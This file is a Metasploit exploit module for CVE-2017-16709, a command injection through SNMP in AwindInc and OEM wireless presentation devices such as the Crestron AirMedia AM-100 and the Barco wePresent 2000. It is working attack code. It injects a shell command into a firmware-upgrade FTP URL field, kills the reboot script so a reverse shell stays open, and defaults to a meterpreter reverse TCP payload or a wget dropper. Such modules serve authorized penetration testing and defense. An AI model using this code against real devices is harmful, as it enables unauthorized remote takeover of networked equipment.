##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SNMPClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'AwindInc SNMP Service Command Injection',
        'Description' => %q{
          This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.
          A valid SNMP read-write community is required to exploit this vulnerability.

          The following devices are known to be affected by this issue:

          * Crestron Airmedia AM-100 <= version 1.5.0.4
          * Crestron Airmedia AM-101 <= version 2.5.0.12
          * Awind WiPG-1600w <= version 2.0.1.8
          * Awind WiPG-2000d <= version 2.1.6.2
          * Barco wePresent 2000 <= version 2.1.5.7
          * Newline Trucast 2 <= version 2.1.0.5
          * Newline Trucast 3 <= version 2.1.3.7
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Quentin Kaiser <kaiserquentin[at]gmail.com>'
        ],
        'References' => [
          ['CVE', '2017-16709'],
          ['URL', 'https://github.com/QKaiser/awind-research'],
          ['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/']
        ],
        'DisclosureDate' => '2019-03-27',
        'Privileged' => true,
        'Targets' => [
          [
            'Unix In-Memory',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory,
              'Payload' => {
                'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl' }
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_ARMLE,
              'CmdStagerFlavor' => %w[wget],
              'Type' => :linux_dropper
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' },
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']),
      ]
    )
  end

  def check
    begin
      connect_snmp
      sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
      print_status("Target system is #{sys_description}")
      # AM-100 and AM-101 considered EOL, no fix so no need to check version.
      model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first
      case model
      when 'AM-100', 'AM-101'
        return CheckCode::Vulnerable
      else
        # TODO: insert description check for other vulnerable models (that I don't have)
        # In the meantime, we return 'safe'.
        return CheckCode::Safe
      end
    rescue SNMP::RequestTimeout
      print_error("#{ip} SNMP request timeout.")
    rescue Rex::ConnectionError
      print_error("#{ip} Connection refused.")
    rescue SNMP::UnsupportedVersion
      print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
    rescue ::Interrupt
      raise $!
    rescue ::Exception => e
      print_error("Unknown error: #{e.class} #{e}")
    ensure
      disconnect_snmp
    end
    Exploit::CheckCode::Unknown
  end

  def inject_payload(cmd)
    connect_snmp
    varbind = SNMP::VarBind.new([1, 3, 6, 1, 4, 1, 3212, 100, 3, 2, 9, 1, 0], SNMP::OctetString.new(cmd))
    resp = snmp.set(varbind)
    if resp.error_status == :noError
      print_status('Injection successful')
    else
      print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
    end
  rescue SNMP::RequestTimeout
    print_error("#{ip} SNMP request timeout.")
  rescue Rex::ConnectionError
    print_error("#{ip} Connection refused.")
  rescue SNMP::UnsupportedVersion
    print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
  rescue ::Interrupt
    raise $!
  rescue ::Exception => e
    print_error("Unknown error: #{e.class} #{e}")
  ensure
    disconnect_snmp
  end

  def trigger
    connect_snmp
    varbind = SNMP::VarBind.new([1, 3, 6, 1, 4, 1, 3212, 100, 3, 2, 9, 5, 0], SNMP::Integer32.new(1))
    resp = snmp.set(varbind)
    if resp.error_status == :noError
      print_status('Trigger successful')
    else
      print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
    end
  rescue SNMP::RequestTimeout
    print_error("#{ip} SNMP request timeout.")
  rescue Rex::ConnectionError
    print_error("#{ip} Connection refused.")
  rescue SNMP::UnsupportedVersion
    print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
  rescue ::Interrupt
    raise $!
  rescue ::Exception => e
    print_error("Unknown error: #{e.class} #{e}")
  ensure
    disconnect_snmp
  end

  def exploit
    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    # The payload must start with a valid FTP URI otherwise the injection point is not reached
    cmd = "ftp://1.1.1.1/$(#{cmd})"

    # When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback
    # We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and
    # keep our reverse shell opened :)
    cmd << '$(pkill -f /etc/reboot.sh)'

    # the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad
    cmd << 'A' * (255 - cmd.length)

    # we inject our payload in camFWUpgradeFTPURL
    print_status('Injecting payload')
    inject_payload(cmd)

    # we trigger the firmware download via FTP, which will end up calling this
    # "/bin/getRemoteURL.sh %s %s %s %d"
    print_status('Triggering call')
    trigger
  end
end